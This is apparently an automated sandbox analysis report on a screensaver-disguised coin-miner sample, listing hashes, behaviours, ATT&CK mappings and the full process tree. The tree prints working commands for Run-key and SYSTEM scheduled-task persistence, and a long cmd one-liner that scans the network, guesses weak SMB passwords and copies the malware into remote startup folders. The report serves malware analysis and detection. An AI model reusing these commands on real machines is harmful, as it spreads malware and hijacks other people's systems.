Analysis
-
max time kernel
139s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20230824-en -
resource tags
arch:x64arch:x86image:win10v2004-20230824-enlocale:en-usos:windows10-2004-x64system -
submitted
30-08-2023 15:23
Static task
static1
Behavioral task
behavioral1
Sample
f_0044e5.zip
Resource
win7-20230824-en
Behavioral task
behavioral2
Sample
f_0044e5.zip
Resource
win10v2004-20230703-en
Behavioral task
behavioral3
Sample
f_0044e5.zip
Resource
win7-20230712-en
Behavioral task
behavioral4
Sample
f_0044e5.zip
Resource
win10v2004-20230703-en
Behavioral task
behavioral5
Sample
IMG001.scr
Resource
win7-20230712-en
Behavioral task
behavioral6
Sample
IMG001.scr
Resource
win10v2004-20230824-en
General
-
Target
IMG001.scr
-
Size
3.4MB
-
MD5
fbbcf1e9501234d6661a0c9ae6dc01c9
-
SHA1
1ca9759a324159f331e79ea6871ad62040521b41
-
SHA256
d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
-
SHA512
027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140
-
SSDEEP
98304:M5VPnq1y5tQOM33ZNqCtBixHl54Oyjes1Ro6:2VPq1yLanrqTr43eON
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
IMG001.scrIMG001.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-642304425-1816607141-2958861556-1000\Control Panel\International\Geo\Nation IMG001.scr Key value queried \REGISTRY\USER\S-1-5-21-642304425-1816607141-2958861556-1000\Control Panel\International\Geo\Nation IMG001.exe -
Drops startup file 1 IoCs
Processes:
IMG001.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Run.lnk IMG001.exe -
Executes dropped EXE 1 IoCs
Processes:
IMG001.exepid process 4276 IMG001.exe -
Loads dropped DLL 5 IoCs
Processes:
IMG001.exepid process 4276 IMG001.exe 4276 IMG001.exe 4276 IMG001.exe 4276 IMG001.exe 4276 IMG001.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
IMG001.exereg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-642304425-1816607141-2958861556-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe" IMG001.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "C:\\Users\\Admin\\AppData\\Roaming\\NsMiner\\IMG001.exe" reg.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
IMG001.exedescription ioc process File opened (read-only) \??\E: IMG001.exe -
Drops file in System32 directory 1 IoCs
Processes:
svchost.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{9404B5E3-7460-4A56-803C-3091748CB5D4}.catalogItem svchost.exe -
Drops file in Windows directory 1 IoCs
Processes:
schtasks.exedescription ioc process File created C:\Windows\Tasks\UAC.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 6 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe nsis_installer_1 C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe nsis_installer_2 C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe nsis_installer_1 C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe nsis_installer_2 C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe nsis_installer_1 C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe nsis_installer_2 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString svchost.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 4344 schtasks.exe 3188 schtasks.exe -
Discovers systems in the same network 1 TTPs 1 IoCs
-
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
svchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS svchost.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powercfg.exepowercfg.exepowercfg.exedescription pid process Token: SeShutdownPrivilege 2724 powercfg.exe Token: SeCreatePagefilePrivilege 2724 powercfg.exe Token: SeShutdownPrivilege 2756 powercfg.exe Token: SeCreatePagefilePrivilege 2756 powercfg.exe Token: SeShutdownPrivilege 4556 powercfg.exe Token: SeCreatePagefilePrivilege 4556 powercfg.exe -
Suspicious use of WriteProcessMemory 45 IoCs
Processes:
IMG001.scrIMG001.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 732 wrote to memory of 4276 732 IMG001.scr IMG001.exe PID 732 wrote to memory of 4276 732 IMG001.scr IMG001.exe PID 732 wrote to memory of 4276 732 IMG001.scr IMG001.exe PID 4276 wrote to memory of 4076 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 4076 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 4076 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 2704 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 2704 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 2704 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 3148 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 3148 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 3148 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 3400 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 3400 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 3400 4276 IMG001.exe cmd.exe PID 4076 wrote to memory of 2860 4076 cmd.exe reg.exe PID 4076 wrote to memory of 2860 4076 cmd.exe reg.exe PID 4076 wrote to memory of 2860 4076 cmd.exe reg.exe PID 3400 wrote to memory of 2724 3400 cmd.exe powercfg.exe PID 3400 wrote to memory of 2724 3400 cmd.exe powercfg.exe PID 3400 wrote to memory of 2724 3400 cmd.exe powercfg.exe PID 2704 wrote to memory of 4344 2704 cmd.exe schtasks.exe PID 2704 wrote to memory of 4344 2704 cmd.exe schtasks.exe PID 2704 wrote to memory of 4344 2704 cmd.exe schtasks.exe PID 3148 wrote to memory of 3188 3148 cmd.exe schtasks.exe PID 3148 wrote to memory of 3188 3148 cmd.exe schtasks.exe PID 3148 wrote to memory of 3188 3148 cmd.exe schtasks.exe PID 3400 wrote to memory of 2756 3400 cmd.exe powercfg.exe PID 3400 wrote to memory of 2756 3400 cmd.exe powercfg.exe PID 3400 wrote to memory of 2756 3400 cmd.exe powercfg.exe PID 3400 wrote to memory of 4556 3400 cmd.exe powercfg.exe PID 3400 wrote to memory of 4556 3400 cmd.exe powercfg.exe PID 3400 wrote to memory of 4556 3400 cmd.exe powercfg.exe PID 4276 wrote to memory of 4816 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 4816 4276 IMG001.exe cmd.exe PID 4276 wrote to memory of 4816 4276 IMG001.exe cmd.exe PID 4816 wrote to memory of 1968 4816 cmd.exe cmd.exe PID 4816 wrote to memory of 1968 4816 cmd.exe cmd.exe PID 4816 wrote to memory of 1968 4816 cmd.exe cmd.exe PID 1968 wrote to memory of 4780 1968 cmd.exe net.exe PID 1968 wrote to memory of 4780 1968 cmd.exe net.exe PID 1968 wrote to memory of 4780 1968 cmd.exe net.exe PID 1968 wrote to memory of 3924 1968 cmd.exe find.exe PID 1968 wrote to memory of 3924 1968 cmd.exe find.exe PID 1968 wrote to memory of 3924 1968 cmd.exe find.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
PID:1784
-
C:\Users\Admin\AppData\Local\Temp\IMG001.scr"C:\Users\Admin\AppData\Local\Temp\IMG001.scr" /S1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:732 -
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:4276 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ3⤵
- Suspicious use of WriteProcessMemory
PID:4076 -
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ4⤵
- Adds Run key to start application
PID:2860 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2704 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"4⤵
- Creates scheduled task(s)
PID:4344 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3148 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3188 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0003⤵
- Suspicious use of WriteProcessMemory
PID:3400 -
C:\Windows\SysWOW64\powercfg.exepowercfg /CHANGE -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:2724 -
C:\Windows\SysWOW64\powercfg.exepowercfg /CHANGE -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
PID:2756 -
C:\Windows\SysWOW64\powercfg.exePowercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0004⤵
- Suspicious use of AdjustPrivilegeToken
PID:4556 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1607& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))3⤵
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"4⤵
- Suspicious use of WriteProcessMemory
PID:1968 -
C:\Windows\SysWOW64\net.exenet view5⤵
- Discovers systems in the same network
PID:4780 -
C:\Windows\SysWOW64\find.exefind /i "\\"5⤵PID:3924
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
-
Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
-
Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
-
Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
-
Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
-
Filesize
21KB
MD5d7a3fa6a6c738b4a3c40d5602af20b08
SHA134fc75d97f640609cb6cadb001da2cb2c0b3538a
SHA25667eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e
SHA51275cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934
-
Filesize
3.4MB
MD5fbbcf1e9501234d6661a0c9ae6dc01c9
SHA11ca9759a324159f331e79ea6871ad62040521b41
SHA256d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
SHA512027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140
-
Filesize
3.4MB
MD5fbbcf1e9501234d6661a0c9ae6dc01c9
SHA11ca9759a324159f331e79ea6871ad62040521b41
SHA256d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
SHA512027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140
-
Filesize
3.4MB
MD5fbbcf1e9501234d6661a0c9ae6dc01c9
SHA11ca9759a324159f331e79ea6871ad62040521b41
SHA256d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c
SHA512027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140